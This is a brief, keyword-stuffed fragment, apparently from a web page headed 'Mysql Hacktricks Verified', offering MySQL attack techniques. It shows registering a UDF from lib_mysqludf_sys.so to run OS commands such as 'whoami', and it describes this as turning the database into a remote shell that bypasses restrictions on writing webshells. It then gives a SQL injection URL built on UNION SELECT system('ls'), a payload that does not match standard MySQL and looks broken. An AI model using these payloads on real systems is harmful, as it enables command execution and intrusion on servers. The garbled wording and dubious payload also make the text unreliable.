Mysql Hacktricks Verified
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('whoami');
This effectively turns the database into a remote shell, bypassing file system restrictions that block webshell writing.
Verified techniques often focus on circumventing modern protections: mysql hacktricks verified
Example:
http://example.com/vulnerable-page?id=1 UNION SELECT system('ls') -- -